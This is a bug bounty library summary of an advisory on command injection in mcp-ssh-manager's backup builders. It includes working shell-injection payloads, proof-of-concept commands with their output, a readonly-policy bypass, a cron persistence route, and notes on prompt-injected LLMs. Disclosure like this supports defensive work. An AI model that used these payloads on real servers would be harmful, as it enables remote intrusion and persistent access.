# mcp-ssh-manager: Remote code execution (RCE) via command injection in the backup subsystem

mcp-ssh-manager backup builders interpolate unescaped tool arguments into shell strings run via ssh.execCommand, giving arbitrary command execution on managed servers, even in readonly mode.

- Payout: Research
- Severity: high
- Program: mcp-ssh-manager
- Found by: Woojisoo0425
- Disclosed: 2026-11-30
- CVE: CVE-2026-129995
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-qwwm-vrm9-4mw8
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qwwm-vrm9-4mw8
- Tags: area:ai domain:ai impact:privesc impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:access-control vuln:command-injection vuln:rce

**Target:** MCP server SSH backup subsystem (src/backup-manager.js) executing remote shell commands
**Root cause:** Backup command builders concatenate caller-controlled arguments (database, dbUser, dbPassword, dbHost, backupDir, paths, exclude) into shell strings without escaping, then pass them to ssh.execCommand which runs them through the remote login shell. The earlier shellQuote() fix was applied only to database-manager.js, not backup-manager.js.
**Steps:**
1. Confirm version 3.8.0 and that `grep -c shellQuote src/backup-manager.js` returns 0 while database-manager.js has 95.
2. Build a malicious command via the unmodified builder: `buildMySQLDumpCommand({database:'appdb; id > /tmp/pwned.txt; #',user:'backup',host:'db.internal',outputFile:'/tmp/app.sql.gz',compress:true})` producing `mysqldump -ubackup -h db.internal ... appdb; id > /tmp/pwned.txt; # | gzip > "/tmp/app.sql.gz"`.
3. Deliver the string over SSH exec (as ssh.execCommand does): `ssh deploy@testhost "$CMD"`.
4. Read `/tmp/pwned.txt` on the remote host to confirm `uid=1001(deploy)` executed.
5. Readonly bypass: `buildListBackupsCommand('/var/backups"; id > /tmp/pwned.txt; echo "', null)` yields `find "/var/backups"; id > /tmp/pwned.txt; echo "" -name "*.meta.json" ...`, executed via ssh_backup_list which skips applyServerPolicy.
**How found:** Noticed the prior CVE-2026-77383 fix added shellQuote() only to database-manager.js; grepped both files (95 vs 0 occurrences) to confirm the parallel backup builders were left unpatched, then traced tool handlers to ssh.execCommand and checked policy.js to find ssh_backup_list missing from READONLY_BLOCKED_TOOLS/COMMAND_BEARING_TOOLS.
**Exploitation:** Attacker (or prompt-injected LLM) supplies shell metacharacters in ssh_backup_create/restore/schedule/list arguments; the resulting string is executed by the remote sshd login shell as the configured SSH user. ssh_backup_schedule additionally writes a cron entry for persistence. ssh_backup_list reaches the sink even on readonly/restricted servers because it is not routed through applyServerPolicy.
**Escalation:** Persistent foothold via ssh_backup_schedule cron injection; policy bypass via ssh_backup_list on hardened readonly/restricted servers.
**Insight:** When a fix centralizes an escaping helper, grep for the helper's absence across sibling modules that build the same kind of sink — incomplete fixes leave parallel builders unpatched. Also check whether newly added tools are registered in the policy allow/block lists; unlisted tools default to allowed.

## Proof of concept (copied exactly from the original report)

**buildMySQLDumpCommand injection via database arg**

```
$ node -e "import('./src/backup-manager.js').then(m=>console.log(m.buildMySQLDumpCommand(
    {database:'appdb; id > /tmp/pwned.txt; #',user:'backup',host:'db.internal',
     outputFile:'/tmp/app.sql.gz',compress:true})))"
mysqldump -ubackup -h db.internal -P 3306 --single-transaction --routines --triggers appdb; id > /tmp/pwned.txt; # | gzip > "/tmp/app.sql.gz"

# deliver over SSH exec (identical to ssh.execCommand)
$ ssh deploy@testhost "$CMD"; echo exit=$?
exit=0

$ ssh deploy@testhost 'cat /tmp/pwned.txt'
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy)      <-- injected command executed on the remote host
```

**readonly bypass via buildListBackupsCommand backupDir**

```
$ node -e "import('./src/backup-manager.js').then(m=>process.stdout.write(
    m.buildListBackupsCommand('/var/backups\"; id > /tmp/pwned.txt; echo \"', null)))"
find "/var/backups"; id > /tmp/pwned.txt; echo "" -name "*.meta.json" -type f | while read -r file; do cat "$file"; echo "---"; done

$ ssh deploy@testhost "$LST"; ssh deploy@testhost 'cat /tmp/pwned.txt'
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy)
```

